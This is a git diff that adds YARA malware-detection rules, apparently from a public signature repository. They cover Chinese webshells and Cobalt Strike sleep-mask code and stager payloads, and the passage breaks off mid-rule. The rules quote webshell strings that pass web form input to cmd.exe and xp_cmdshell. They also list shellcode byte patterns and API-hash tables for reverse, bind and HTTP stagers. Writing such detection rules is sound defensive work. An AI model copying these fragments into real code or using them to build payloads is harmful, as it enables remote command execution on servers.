+        $s1 = "cmd=chr(34)&\"cmd.exe /c \"&request.form(\"cmd\")&\" > 8617.tmp\"&chr(34)" fullword ascii
+        $s2 = "strQuery=\"dbcc addextendedproc ('xp_regwrite','xpstar.dll')\"" fullword ascii
+        $s3 = "strQuery = \"exec master.dbo.xp_cmdshell '\" & request.form(\"cmd\") & \"'\" " fullword ascii
+        $s4 = "session(\"login\")=\"\"" fullword ascii
+    condition:
+        filesize < 15KB and all of them
+}
+
+rule Txt_hello {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file hello.txt"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "697a9ebcea6a22a16ce1a51437fcb4e1a1d7f079"
+        id = "42d01411-e333-543d-84a2-758c13bad2df"
+    strings:
+        $s0 = "Dim myProcessStartInfo As New ProcessStartInfo(\"cmd.exe\")" fullword ascii
+        $s1 = "myProcessStartInfo.Arguments=\"/c \" & Cmd.text" fullword ascii
+        $s2 = "myProcess.Start()" fullword ascii
+        $s3 = "<p align=\"center\"><a href=\"?action=cmd\" target=\"_blank\">" fullword ascii
+    condition:
+        filesize < 25KB and all of them
+}
diff --git a/yara-Neo23x0/gen_cobaltstrike.yar b/yara-Neo23x0/gen_cobaltstrike.yar
new file mode 100644
index 0000000..6ca84a5
--- /dev/null
+++ b/yara-Neo23x0/gen_cobaltstrike.yar
@@ -0,0 +1,42 @@
+/* requires YARA 3.11 */
+
+rule HKTL_CobaltStrike_SleepMask_Jul22 {
+   meta:
+      description = "Detects static bytes in Cobalt Strike 4.5 sleep mask function that are not obfuscated"
+      author = "CodeX"
+      date = "2022-07-04"
+      reference = "https://codex-7.gitbook.io/codexs-terminal-window/blue-team/detecting-cobalt-strike/sleep-mask-kit-iocs"
+      score = 80
+      id = "d396ab0e-b584-5a7c-8627-5f318a20f9dd"
+   strings:
+      $sleep_mask = { 48 8B C4 48 89 58 08 48 89 68 10 48 89 70 18 48 89 78 20 45 33 DB 45 33 D2 33 FF 33 F6 48 8B E9 BB 03 00 00 00 85 D2 0F 84 81 00 00 00 0F B6 45 }
+   condition:
+      $sleep_mask
+}
+
+// This file contain Yara rule for opcodes which target CS version 4.9.1 and prior.
+// This yara target the Socks and Remote Connection functionality which cannot
+// be modified by an operator. These can only be modified by Fortra as it needs
+// changes to the source code. This detection was written to target leaked  CS 4.9
+// versions, but has been tested backwards till v4.5.
+// This yara wont hit beacon.exe, it was written for the shellcode
+// This yara was specially crafted for the core (in-memory scans) which cannot be
+// avoided in way by an operator, making the malleability, UDRL or IAT hooking useless
+
+/* FR: rule caused 6490 false positives in our testing environment - cannot be used in the current form
+
+rule HKTL_CobaltStrike_CS_Core_Oct23 {
+    meta:
+        description = "Hunts for opcodes used in Cobaltstrike 4.9.1 and earlier"
+        version = "0.1"
+        author = "@ninjaparanoid"
+        reference = "https://github.com/paranoidninja/Cobaltstrike-Detection/blob/main/cs49.yara"
+        date = "2023-10-12"
+        score = 75
+    strings:
+        $socks = { 49 8D 55 02 48 8D 4C 24 30 44 0F B7 F8 B8 FF 03 00 00 }
+        $core = { 49 B9 01 01 01 01 01 01 01 01 49 0F AF D1 49 83 F8 40 }
+    condition:
+        1 of them
+}
+*/
\ No newline at end of file
diff --git a/yara-Neo23x0/gen_cobaltstrike_by_avast.yar b/yara-Neo23x0/gen_cobaltstrike_by_avast.yar
new file mode 100644
index 0000000..2c0876d
--- /dev/null
+++ b/yara-Neo23x0/gen_cobaltstrike_by_avast.yar
@@ -0,0 +1,801 @@
+
+rule Cobaltbaltstrike_RAW_Payload_dns_stager_x86
+{
+  meta:
+    author = "Avast Threat Intel Team"
+    description = "Detects CobaltStrike payloads"
+    reference = "https://github.com/avast/ioc"
+    id = "817c4a72-7be1-5a58-987d-fe203d7778ea"
+  strings:
+    // x86 default eop
+    $h01 = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 }
+  condition:
+    /*
+    Payload API list:
+    Offset  | Hash value  | API name
+    0x00a3  | 0xe553a458  | kernel32.dll_VirtualAlloc
+    0x00bd  | 0x0726774c  | kernel32.dll_LoadLibraryA
+    0x012f  | 0xc99cc96a  | dnsapi.dll_DnsQuery_A
+    0x0198  | 0x56a2b5f0  | kernel32.dll_ExitProcess
+    0x01a4  | 0xe035f044  | kernel32.dll_Sleep
+    0x01e4  | 0xcc8e00f4  | kernel32.dll_lstrlenA
+    */
+    uint32(@h01+0x00a3) == 0xe553a458 and
+    uint32(@h01+0x00bd) == 0x0726774c and
+    uint32(@h01+0x012f) == 0xc99cc96a and
+    uint32(@h01+0x0198) == 0x56a2b5f0 and
+    uint32(@h01+0x01a4) == 0xe035f044 and
+    uint32(@h01+0x01e4) == 0xcc8e00f4
+}
+
+rule Cobaltbaltstrike_RAW_Payload_smb_stager_x86
+{
+  meta:
+    author = "Avast Threat Intel Team"
+    description = "Detects CobaltStrike payloads"
+    reference = "https://github.com/avast/ioc"
+    id = "29911a14-08ea-54de-9c07-630c6516bd49"
+  strings:
+    // x86 default eop
+    $h01 = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 }
+  condition:
+    /*
+    Payload API list:
+    Offset  | Hash value  | API name
+    0x00a1  | 0xe553a458  | kernel32.dll_VirtualAlloc
+    0x00c4  | 0xd4df7045  | kernel32.dll_CreateNamedPipeA
+    0x00d2  | 0xe27d6f28  | kernel32.dll_ConnectNamedPipe
+    0x00f8  | 0xbb5f9ead  | kernel32.dll_ReadFile
+    0x010d  | 0xbb5f9ead  | kernel32.dll_ReadFile
+    0x0131  | 0xfcddfac0  | kernel32.dll_DisconnectNamedPipe
+    0x0139  | 0x528796c6  | kernel32.dll_CloseHandle
+    0x014b  | 0x56a2b5f0  | kernel32.dll_ExitProcess
+    */
+    uint32(@h01+0x00a1) == 0xe553a458 and
+    uint32(@h01+0x00c4) == 0xd4df7045 and
+    uint32(@h01+0x00d2) == 0xe27d6f28 and
+    uint32(@h01+0x00f8) == 0xbb5f9ead and
+    uint32(@h01+0x010d) == 0xbb5f9ead and
+    uint32(@h01+0x0131) == 0xfcddfac0 and
+    uint32(@h01+0x0139) == 0x528796c6 and
+    uint32(@h01+0x014b) == 0x56a2b5f0
+}
+
+rule Cobaltbaltstrike_RAW_Payload_TCP_Bind_x86
+{
+  meta:
+    author = "Avast Threat Intel Team"
+    description = "Detects CobaltStrike payloads"
+    reference = "https://github.com/avast/ioc"
+    id = "ec0a9e27-3650-5393-a93b-2a461b9a0e29"
+  strings:
+    // x86 default eop
+    $h01 = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 }
+  condition:
+    /*
+    Payload API list:
+    Offset  | Hash value  | API name
+    0x009c  | 0x0726774c  | kernel32.dll_LoadLibraryA
+    0x00ac  | 0x006b8029  | ws2_32.dll_WSAStartup
+    0x00bb  | 0xe0df0fea  | ws2_32.dll_WSASocketA
+    0x00d5  | 0x6737dbc2  | ws2_32.dll_bind
+    0x00de  | 0xff38e9b7  | ws2_32.dll_listen
+    0x00e8  | 0xe13bec74  | ws2_32.dll_accept
+    0x00f1  | 0x614d6e75  | ws2_32.dll_closesocket
+    0x00fa  | 0x56a2b5f0  | kernel32.dll_ExitProcess
+    0x0107  | 0x5fc8d902  | ws2_32.dll_recv
+    0x011a  | 0xe553a458  | kernel32.dll_VirtualAlloc
+    0x0128  | 0x5fc8d902  | ws2_32.dll_recv
+    0x013d  | 0x614d6e75  | ws2_32.dll_closesocket
+    */
+    uint32(@h01+0x009c) == 0x0726774c and
+    uint32(@h01+0x00ac) == 0x006b8029 and
+    uint32(@h01+0x00bb) == 0xe0df0fea and
+    uint32(@h01+0x00d5) == 0x6737dbc2 and
+    uint32(@h01+0x00de) == 0xff38e9b7 and
+    uint32(@h01+0x00e8) == 0xe13bec74 and
+    uint32(@h01+0x00f1) == 0x614d6e75 and
+    uint32(@h01+0x00fa) == 0x56a2b5f0 and
+    uint32(@h01+0x0107) == 0x5fc8d902 and
+    uint32(@h01+0x011a) == 0xe553a458 and
+    uint32(@h01+0x0128) == 0x5fc8d902 and
+    uint32(@h01+0x013d) == 0x614d6e75
+}
+
+rule Cobaltbaltstrike_RAW_Payload_TCP_Bind_x64
+{
+  meta:
+    author = "Avast Threat Intel Team"
+    description = "Detects CobaltStrike payloads"
+    reference = "https://github.com/avast/ioc"
+    id = "3575408a-3309-5723-a49a-9c2088d43de9"
+  strings:
+    // x64 default eop
+    $h01 = { FC 48 83 E4 F0 E8 C8 00 00 00 41 51 41 50 52 51 56 48 31 D2 65 48 8B 52 }
+  condition:
+    /*
+    Payload API list:
+    Offset  | Hash value  | API name
+    0x0100  | 0x0726774c  | kernel32.dll_LoadLibraryA
+    0x0111  | 0x006b8029  | ws2_32.dll_WSAStartup
+    0x012d  | 0xe0df0fea  | ws2_32.dll_WSASocketA
+    0x0142  | 0x6737dbc2  | ws2_32.dll_bind
+    0x0150  | 0xff38e9b7  | ws2_32.dll_listen
+    0x0161  | 0xe13bec74  | ws2_32.dll_accept
+    0x016f  | 0x614d6e75  | ws2_32.dll_closesocket
+    0x0198  | 0x5fc8d902  | ws2_32.dll_recv
+    0x01b8  | 0xe553a458  | kernel32.dll_VirtualAlloc
+    0x01d2  | 0x5fc8d902  | ws2_32.dll_recv
+    0x01ee  | 0x614d6e75  | ws2_32.dll_closesocket
+    */
+    uint32(@h01+0x0100) == 0x0726774c and
+    uint32(@h01+0x0111) == 0x006b8029 and
+    uint32(@h01+0x012d) == 0xe0df0fea and
+    uint32(@h01+0x0142) == 0x6737dbc2 and
+    uint32(@h01+0x0150) == 0xff38e9b7 and
+    uint32(@h01+0x0161) == 0xe13bec74 and
+    uint32(@h01+0x016f) == 0x614d6e75 and
+    uint32(@h01+0x0198) == 0x5fc8d902 and
+    uint32(@h01+0x01b8) == 0xe553a458 and
+    uint32(@h01+0x01d2) == 0x5fc8d902 and
+    uint32(@h01+0x01ee) == 0x614d6e75
+}
+
+rule Cobaltbaltstrike_RAW_Payload_TCP_Reverse_x86
+{
+  meta:
+    author = "Avast Threat Intel Team"
+    description = "Detects CobaltStrike payloads"
+    reference = "https://github.com/avast/ioc"
+    id = "ac824189-614d-5bff-9bbb-a4244cace563"
+  strings:
+    // x86 default eop
+    $h01 = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 }
+  condition:
+    /*
+    Payload API list:
+    Offset  | Hash value  | API name
+    0x009c  | 0x0726774c  | kernel32.dll_LoadLibraryA
+    0x00ac  | 0x006b8029  | ws2_32.dll_WSAStartup
+    0x00bb  | 0xe0df0fea  | ws2_32.dll_WSASocketA
+    0x00d5  | 0x6174a599  | ws2_32.dll_connect
+    0x00e5  | 0x56a2b5f0  | kernel32.dll_ExitProcess
+    0x00f2  | 0x5fc8d902  | ws2_32.dll_recv
+    0x0105  | 0xe553a458  | kernel32.dll_VirtualAlloc
+    0x0113  | 0x5fc8d902  | ws2_32.dll_recv
+    */
+    uint32(@h01+0x009c) == 0x0726774c and
+    uint32(@h01+0x00ac) == 0x006b8029 and
+    uint32(@h01+0x00bb) == 0xe0df0fea and
+    uint32(@h01+0x00d5) == 0x6174a599 and
+    uint32(@h01+0x00e5) == 0x56a2b5f0 and
+    uint32(@h01+0x00f2) == 0x5fc8d902 and
+    uint32(@h01+0x0105) == 0xe553a458 and
+    uint32(@h01+0x0113) == 0x5fc8d902
+}
+
+rule Cobaltbaltstrike_RAW_Payload_TCP_Reverse_x64
+{
+  meta:
+    author = "Avast Threat Intel Team"
+    description = "Detects CobaltStrike payloads"
+    reference = "https://github.com/avast/ioc"
+    id = "21151a9c-1d15-514f-b33b-c9eff08463fb"
+  strings:
+    // x64 default eop
+    $h01 = { FC 48 83 E4 F0 E8 C8 00 00 00 41 51 41 50 52 51 56 48 31 D2 65 48 8B 52 }
+  condition:
+    /*
+    Payload API list:
+    Offset  | Hash value  | API name
+    0x0100  | 0x0726774c  | kernel32.dll_LoadLibraryA
+    0x0111  | 0x006b8029  | ws2_32.dll_WSAStartup
+    0x012d  | 0xe0df0fea  | ws2_32.dll_WSASocketA
+    0x0142  | 0x6174a599  | ws2_32.dll_connect
+    0x016b  | 0x5fc8d902  | ws2_32.dll_recv
+    0x018b  | 0xe553a458  | kernel32.dll_VirtualAlloc
+    0x01a5  | 0x5fc8d902  | ws2_32.dll_recv
+    0x01c1  | 0x614d6e75  | ws2_32.dll_closesocket
+    */
+    uint32(@h01+0x0100) == 0x0726774c and
+    uint32(@h01+0x0111) == 0x006b8029 and
+    uint32(@h01+0x012d) == 0xe0df0fea and
+    uint32(@h01+0x0142) == 0x6174a599 and
+    uint32(@h01+0x016b) == 0x5fc8d902 and
+    uint32(@h01+0x018b) == 0xe553a458 and
+    uint32(@h01+0x01a5) == 0x5fc8d902 and
+    uint32(@h01+0x01c1) == 0x614d6e75
+}
+
+rule Cobaltbaltstrike_RAW_Payload_http_stager_x86
+{
+  meta:
+    author = "Avast Threat Intel Team"
+    description = "Detects CobaltStrike payloads"
+    reference = "https://github.com/avast/ioc"
+    id = "01f89b14-55f2-5a5e-b0d5-6bca609621fe"
+  strings:
+    // x86 default eop
+    $h01 = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 }
+  condition:
+    /*
+    Payload API list:
+    Offset  | Hash value  | API name
+    0x009c  | 0x0726774c  | kernel32.dll_LoadLibraryA
+    0x00aa  | 0xa779563a  | wininet.dll_InternetOpenA
+    0x00c6  | 0xc69f8957  | wininet.dll_InternetConnectA
+    0x00de  | 0x3b2e55eb  | wininet.dll_HttpOpenRequestA
+    0x00f2  | 0x7b18062d  | wininet.dll_HttpSendRequestA
+    0x010b  | 0x5de2c5aa  | kernel32.dll_GetLastError
+    0x0114  | 0x315e2145  | user32.dll_GetDesktopWindow
+    0x0123  | 0x0be057b7  | wininet.dll_InternetErrorDlg
+    0x02c4  | 0x56a2b5f0  | kernel32.dll_ExitProcess
+    0x02d8  | 0xe553a458  | kernel32.dll_VirtualAlloc
+    0x02f3  | 0xe2899612  | wininet.dll_InternetReadFile
+    */
+    uint32(@h01+0x009c) == 0x0726774c and
+    uint32(@h01+0x00aa) == 0xa779563a and
+    uint32(@h01+0x00c6) == 0xc69f8957 and
+    uint32(@h01+0x00de) == 0x3b2e55eb and
+    uint32(@h01+0x00f2) == 0x7b18062d and
+    uint32(@h01+0x010b) == 0x5de2c5aa and
+    uint32(@h01+0x0114) == 0x315e2145 and
+    uint32(@h01+0x0123) == 0x0be057b7 and
+    uint32(@h01+0x02c4) == 0x56a2b5f0 and
+    uint32(@h01+0x02d8) == 0xe553a458 and
+    uint32(@h01+0x02f3) == 0xe2899612
+}
+
+rule Cobaltbaltstrike_RAW_Payload_http_stager_x64
+{
+  meta:
+    author = "Avast Threat Intel Team"
+    description = "Detects CobaltStrike payloads"
+    reference = "https://github.com/avast/ioc"
+    id = "7eeeb2a1-4903-5649-ae30-fd43367ab468"
+  strings:
+    // x64 default eop
+    $h01 = { FC 48 83 E4 F0 E8 C8 00 00 00 41 51 41 50 52 51 56 48 31 D2 65 48 8B 52 }
+  condition:
+    /*
+    Payload API list:
+    Offset  | Hash value  | API name
+    0x00e9  | 0x0726774c  | kernel32.dll_LoadLibraryA
+    0x0101  | 0xa779563a  | wininet.dll_InternetOpenA
+    0x0120  | 0xc69f8957  | wininet.dll_InternetConnectA
+    0x013f  | 0x3b2e55eb  | wininet.dll_HttpOpenRequestA
+    0x0163  | 0x7b18062d  | wininet.dll_HttpSendRequestA
+    0x0308  | 0x56a2b5f0  | kernel32.dll_ExitProcess
+    0x0324  | 0xe553a458  | kernel32.dll_VirtualAlloc
+    0x0342  | 0xe2899612  | wininet.dll_InternetReadFile
+    */
+    uint32(@h01+0x00e9) == 0x0726774c and
+    uint32(@h01+0x0101) == 0xa779563a and
+    uint32(@h01+0x0120) == 0xc69f8957 and
+    uint32(@h01+0x013f) == 0x3b2e55eb and
+    uint32(@h01+0x0163) == 0x7b18062d and
+    uint32(@h01+0x0308) == 0x56a2b5f0 and
+    uint32(@h01+0x0324) == 0xe553a458 and
+    uint32(@h01+0x0342) == 0xe2899612
+}
+
+
+rule Cobaltbaltstrike_RAW_Payload_https_stager_x86
+{
+  meta:
+    author = "Avast Threat Intel Team"
+    description = "Detects CobaltStrike payloads"
+    reference = "https://github.com/avast/ioc"
+    id = "f1d7e939-92b5-5441-8014-b2390854d059"
+  strings:
+    // x86 default eop
+    $h01 = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 }
+  condition:
+    /*
+    Payload API list:
+    Offset  | Hash value  | API name
+    0x009c  | 0x0726774c  | kernel32.dll_LoadLibraryA
+    0x00af  | 0xa779563a  | wininet.dll_InternetOpenA
+    0x00cb  | 0xc69f8957  | wininet.dll_InternetConnectA
+    0x00e7  | 0x3b2e55eb  | wininet.dll_HttpOpenRequestA
+    0x0100  | 0x869e4675  | wininet.dll_InternetSetOptionA
+    0x0110  | 0x7b18062d  | wininet.dll_HttpSendRequestA
+    0x0129  | 0x5de2c5aa  | kernel32.dll_GetLastError
+    0x0132  | 0x315e2145  | user32.dll_GetDesktopWindow
+    0x0141  | 0x0be057b7  | wininet.dll_InternetErrorDlg
+    0x02e9  | 0x56a2b5f0  | kernel32.dll_ExitProcess
+    0x02fd  | 0xe553a458  | kernel32.dll_VirtualAlloc
+    0x0318  | 0xe2899612  | wininet.dll_InternetReadFile
+    */
+    uint32(@h01+0x009c) == 0x0726774c and
+    uint32(@h01+0x00af) == 0xa779563a and
+    uint32(@h01+0x00cb) == 0xc69f8957 and
+    uint32(@h01+0x00e7) == 0x3b2e55eb and
+    uint32(@h01+0x0100) == 0x869e4675 and
+    uint32(@h01+0x0110) == 0x7b18062d and
+    uint32(@h01+0x0129) == 0x5de2c5aa and
+    uint32(@h01+0x0132) == 0x315e2145 and
+    uint32(@h01+0x0141) == 0x0be057b7 and
+    uint32(@h01+0x02e9) == 0x56a2b5f0 and
+    uint32(@h01+0x02fd) == 0xe553a458 and
+    uint32(@h01+0x0318) == 0xe2899612
+}
+
+
+rule Cobaltbaltstrike_RAW_Payload_https_stager_x64
+{
+  meta:
+    author = "Avast Threat Intel Team"
+    description = "Detects CobaltStrike payloads"
+    reference = "https://github.com/avast/ioc"
+    id = "5f9c7426-63be-5049-91fc-63b5c29618bd"
+  strings:
+    // x64 default eop
+    $h01 = { FC 48 83 E4 F0 E8 C8 00 00 00 41 51 41 50 52 51 56 48 31 D2 65 48 8B 52 }
+  condition:
+    /*
+    Payload API list:
+    Offset  | Hash value  | API name
+    0x00e9  | 0x0726774c  | kernel32.dll_LoadLibraryA
+    0x0101  | 0xa779563a  | wininet.dll_InternetOpenA
+    0x0123  | 0xc69f8957  | wininet.dll_InternetConnectA
+    0x0142  | 0x3b2e55eb  | wininet.dll_HttpOpenRequestA
+    0x016c  | 0x869e4675  | wininet.dll_InternetSetOptionA
+    0x0186  | 0x7b18062d  | wininet.dll_HttpSendRequestA
+    0x032b  | 0x56a2b5f0  | kernel32.dll_ExitProcess
+    0x0347  | 0xe553a458  | kernel32.dll_VirtualAlloc
+    0x0365  | 0xe2899612  | wininet.dll_InternetReadFile
+    */
+    uint32(@h01+0x00e9) == 0x0726774c and
+    uint32(@h01+0x0101) == 0xa779563a and
+    uint32(@h01+0x0123) == 0xc69f8957 and
+    uint32(@h01+0x0142) == 0x3b2e55eb and
+    uint32(@h01+0x016c) == 0x869e4675 and
+    uint32(@h01+0x0186) == 0x7b18062d and
+    uint32(@h01+0x032b) == 0x56a2b5f0 and
+    uint32(@h01+0x0347) == 0xe553a458 and
+    uint32(@h01+0x0365) == 0xe2899612
+}
+
+rule Cobaltbaltstrike_RAW_Payload_dns_stager_x86_UTF16
+{
+  meta:
+    author = "Avast Threat Intel Team"
+    description = "Detects CobaltStrike payloads"
+    reference = "https://github.com/avast/ioc"
+    id = "d148ca33-b233-519d-8ba4-d389de721d15"
+  strings:
+    // x86 default eop utf-16
+    $h01 = { FC 00 E8 00 89 00 00 00 00 00 00 00 60 00 89 00 E5 00 31 00 D2 00 64 00 8B 00 52 00 30 00 8B 00 52 00 0C 00 8B 00 52 00 14 00 8B 00 72 00 28 }
+  condition:
+    uint32(@h01+0x0149) == 0xe5005300 and
+    uint32(@h01+0x017d) == 0x07002600 and
+    uint32(@h01+0x0261) == 0xc9009c00 and
+    uint32(@h01+0x0333) == 0x5600a200 and
+    uint32(@h01+0x034b) == 0xe0003500 and
+    uint32(@h01+0x03cb) == 0xcc008e00
+}
+
+rule Cobaltbaltstrike_RAW_Payload_smb_stager_x86_UTF16
+{
+  meta:
+    author = "Avast Threat Intel Team"
+    description = "Detects CobaltStrike payloads"
+    reference = "https://github.com/avast/ioc"
+    id = "d88e050f-9e6c-5349-b809-ad7dc25a79b9"
+  strings:
+    // x86 default eop utf-16
+    $h01 = { FC 00 E8 00 89 00 00 00 00 00 00 00 60 00 89 00 E5 00 31 00 D2 00 64 00 8B 00 52 00 30 00 8B 00 52 00 0C 00 8B 00 52 00 14 00 8B 00 72 00 28 }
+  condition:
+    uint32(@h01+0x0145) == 0xe5005300 and
+    uint32(@h01+0x018b) == 0xd400df00 and
+    uint32(@h01+0x01a7) == 0xe2007d00 and
+    uint32(@h01+0x01f3) == 0xbb005f00 and
+    uint32(@h01+0x021d) == 0xbb005f00 and
+    uint32(@h01+0x0265) == 0xfc00dd00 and
+    uint32(@h01+0x0275) == 0x52008700 and
+    uint32(@h01+0x0299) == 0x5600a200
+}
+
+rule Cobaltbaltstrike_RAW_Payload_TCP_Bind_x86_UTF16
+{
+  meta:
+    author = "Avast Threat Intel Team"
+    description = "Detects CobaltStrike payloads"
+    reference = "https://github.com/avast/ioc"
+    id = "7f17985d-b245-5e95-9b35-af669aafc263"
+  strings:
+    // x86 default eop utf-16
+    $h01 = { FC 00 E8 00 89 00 00 00 00 00 00 00 60 00 89 00 E5 00 31 00 D2 00 64 00 8B 00 52 00 30 00 8B 00 52 00 0C 00 8B 00 52 00 14 00 8B 00 72 00 28 }
+  condition:
+    uint32(@h01+0x013b) == 0x07002600 and
+    uint32(@h01+0x015b) == 0x00006b00 and
+    uint32(@h01+0x0179) == 0xe000df00 and
+    uint32(@h01+0x01ad) == 0x67003700 and
+    uint32(@h01+0x01bf) == 0xff003800 and
+    uint32(@h01+0x01d3) == 0xe1003b00 and
+    uint32(@h01+0x01e5) == 0x61004d00 and
+    uint32(@h01+0x01f7) == 0x5600a200 and
+    uint32(@h01+0x0211) == 0x5f00c800 and
+    uint32(@h01+0x0237) == 0xe5005300 and
+    uint32(@h01+0x0253) == 0x5f00c800 and
+    uint32(@h01+0x027d) == 0x61004d00
+}
+
+rule Cobaltbaltstrike_RAW_Payload_TCP_Bind_x64_UTF16
+{
+  meta:
+    author = "Avast Threat Intel Team"
+    description = "Detects CobaltStrike payloads"
+    reference = "https://github.com/avast/ioc"
+    id = "bd52fb44-379a-5c82-9c7c-b10c8080b53f"
+  strings:
+    // x64 default eop utf16
+    $h01 = { FC 00 48 00 83 00 E4 00 F0 00 E8 00 C8 00 00 00 00 00 00 00 41 00 51 00 41 00 50 00 52 00 51 00 56 00 48 00 31 00 D2 00 65 00 48 00 8B 00 52 }
+  condition:
+    uint32(@h01+0x0203) == 0x07002600 and
+    uint32(@h01+0x0225) == 0x00006b00 and
+    uint32(@h01+0x025d) == 0xe000df00 and
+    uint32(@h01+0x0287) == 0x67003700 and
+    uint32(@h01+0x02a3) == 0xff003800 and
+    uint32(@h01+0x02c5) == 0xe1003b00 and
+    uint32(@h01+0x02e1) == 0x61004d00 and
+    uint32(@h01+0x0333) == 0x5f00c800 and
+    uint32(@h01+0x0373) == 0xe5005300 and
+    uint32(@h01+0x03a7) == 0x5f00c800 and
+    uint32(@h01+0x03df) == 0x61004d00
+}
+
+rule Cobaltbaltstrike_RAW_Payload_TCP_Reverse_x86_UTF16
+{
+  meta:
+    author = "Avast Threat Intel Team"
+    description = "Detects CobaltStrike payloads"
+    reference = "https://github.com/avast/ioc"
+    id = "321c1f3f-b7fc-5408-b460-6aa4423d381c"
+  strings:
+    // x86 default eop utf-16
+    $h01 = { FC 00 E8 00 89 00 00 00 00 00 00 00 60 00 89 00 E5 00 31 00 D2 00 64 00 8B 00 52 00 30 00 8B 00 52 00 0C 00 8B 00 52 00 14 00 8B 00 72 00 28 }
+  condition:
+    uint32(@h01+0x013b) == 0x07002600 and
+    uint32(@h01+0x015b) == 0x00006b00 and
+    uint32(@h01+0x0179) == 0xe000df00 and
+    uint32(@h01+0x01ad) == 0x61007400 and
+    uint32(@h01+0x01cd) == 0x5600a200 and
+    uint32(@h01+0x01e7) == 0x5f00c800 and
+    uint32(@h01+0x020d) == 0xe5005300 and
+    uint32(@h01+0x0229) == 0x5f00c800
+}
+
+rule Cobaltbaltstrike_RAW_Payload_TCP_Reverse_x64_UTF16
+{
+  meta:
+    author = "Avast Threat Intel Team"
+    description = "Detects CobaltStrike payloads"
+    reference = "https://github.com/avast/ioc"
+    id = "1cc2494c-1f39-5a72-93af-c267eaf768fe"
+  strings:
+    // x64 default eop utf16
+    $h01 = { FC 00 48 00 83 00 E4 00 F0 00 E8 00 C8 00 00 00 00 00 00 00 41 00 51 00 41 00 50 00 52 00 51 00 56 00 48 00 31 00 D2 00 65 00 48 00 8B 00 52 }
+  condition:
+    uint32(@h01+0x0203) == 0x07002600 and
+    uint32(@h01+0x0225) == 0x00006b00 and
+    uint32(@h01+0x025d) == 0xe000df00 and
+    uint32(@h01+0x0287) == 0x61007400 and
+    uint32(@h01+0x02d9) == 0x5f00c800 and
+    uint32(@h01+0x0319) == 0xe5005300 and
+    uint32(@h01+0x034d) == 0x5f00c800 and
+    uint32(@h01+0x0385) == 0x61004d00
+}
+
+rule Cobaltbaltstrike_RAW_Payload_http_stager_x86_UTF16
+{
+  meta:
+    author = "Avast Threat Intel Team"
+    description = "Detects CobaltStrike payloads"
+    reference = "https://github.com/avast/ioc"
+    id = "c1602e85-5b42-5005-a6d1-7140cb57a3c7"
+  strings:
+    // x86 default eop utf-16
+    $h01 = { FC 00 E8 00 89 00 00 00 00 00 00 00 60 00 89 00 E5 00 31 00 D2 00 64 00 8B 00 52 00 30 00 8B 00 52 00 0C 00 8B 00 52 00 14 00 8B 00 72 00 28 }
+  condition:
+    uint32(@h01+0x013b) == 0x07002600 and
+    uint32(@h01+0x0157) == 0xa7007900 and
+    uint32(@h01+0x018f) == 0xc6009f00 and
+    uint32(@h01+0x01bf) == 0x3b002e00 and
+    uint32(@h01+0x01e7) == 0x7b001800 and
+    uint32(@h01+0x0219) == 0x5d00e200 and
+    uint32(@h01+0x022b) == 0x31005e00 and
+    uint32(@h01+0x0249) == 0x0b00e000 and
+    uint32(@h01+0x058b) == 0x5600a200 and
+    uint32(@h01+0x05b3) == 0xe5005300 and
+    uint32(@h01+0x05e9) == 0xe2008900
+}
+
+rule Cobaltbaltstrike_RAW_Payload_http_stager_x64_UTF16
+{
+  meta:
+    author = "Avast Threat Intel Team"
+    description = "Detects CobaltStrike payloads"
+    reference = "https://github.com/avast/ioc"
+    id = "78672e3b-6f76-573a-8a9a-610334baa389"
+  strings:
+    // x64 default eop utf16
+    $h01 = { FC 00 48 00 83 00 E4 00 F0 00 E8 00 C8 00 00 00 00 00 00 00 41 00 51 00 41 00 50 00 52 00 51 00 56 00 48 00 31 00 D2 00 65 00 48 00 8B 00 52 }
+  condition:
+    uint32(@h01+0x01d5) == 0x07002600 and
+    uint32(@h01+0x0205) == 0xa7007900 and
+    uint32(@h01+0x0243) == 0xc6009f00 and
+    uint32(@h01+0x0281) == 0x3b002e00 and
+    uint32(@h01+0x02c9) == 0x7b001800 and
+    uint32(@h01+0x0613) == 0x5600a200 and
+    uint32(@h01+0x064b) == 0xe5005300 and
+    uint32(@h01+0x0687) == 0xe2008900
+}
+
+rule Cobaltbaltstrike_RAW_Payload_https_stager_x86_UTF16
+{
+  meta:
+    author = "Avast Threat Intel Team"
+    description = "Detects CobaltStrike payloads"
+    reference = "https://github.com/avast/ioc"
+    id = "dcd3e5c8-7626-5a78-9f90-7a8e67311d90"
+  strings:
+    // x86 default eop utf-16
+    $h01 = { FC 00 E8 00 89 00 00 00 00 00 00 00 60 00 89 00 E5 00 31 00 D2 00 64 00 8B 00 52 00 30 00 8B 00 52 00 0C 00 8B 00 52 00 14 00 8B 00 72 00 28 }
+  condition:
+    uint32(@h01+0x013b) == 0x07002600 and
+    uint32(@h01+0x0161) == 0xa7007900 and
+    uint32(@h01+0x0199) == 0xc6009f00 and
+    uint32(@h01+0x01d1) == 0x3b002e00 and
+    uint32(@h01+0x0203) == 0x86009e00 and
+    uint32(@h01+0x0223) == 0x7b001800 and
+    uint32(@h01+0x0255) == 0x5d00e200 and
+    uint32(@h01+0x0267) == 0x31005e00 and
+    uint32(@h01+0x0285) == 0x0b00e000 and
+    uint32(@h01+0x05d5) == 0x5600a200 and
+    uint32(@h01+0x05fd) == 0xe5005300 and
+    uint32(@h01+0x0633) == 0xe2008900
+}
+
+rule Cobaltbaltstrike_RAW_Payload_https_stager_x64_UTF16
+{
+  meta:
+    author = "Avast Threat Intel Team"
+    description = "Detects CobaltStrike payloads"
+    reference = "https://github.com/avast/ioc"
+    id = "aa93dd56-9589-5958-9711-ca2f9c763665"
+  strings:
+    // x64 default eop utf-16
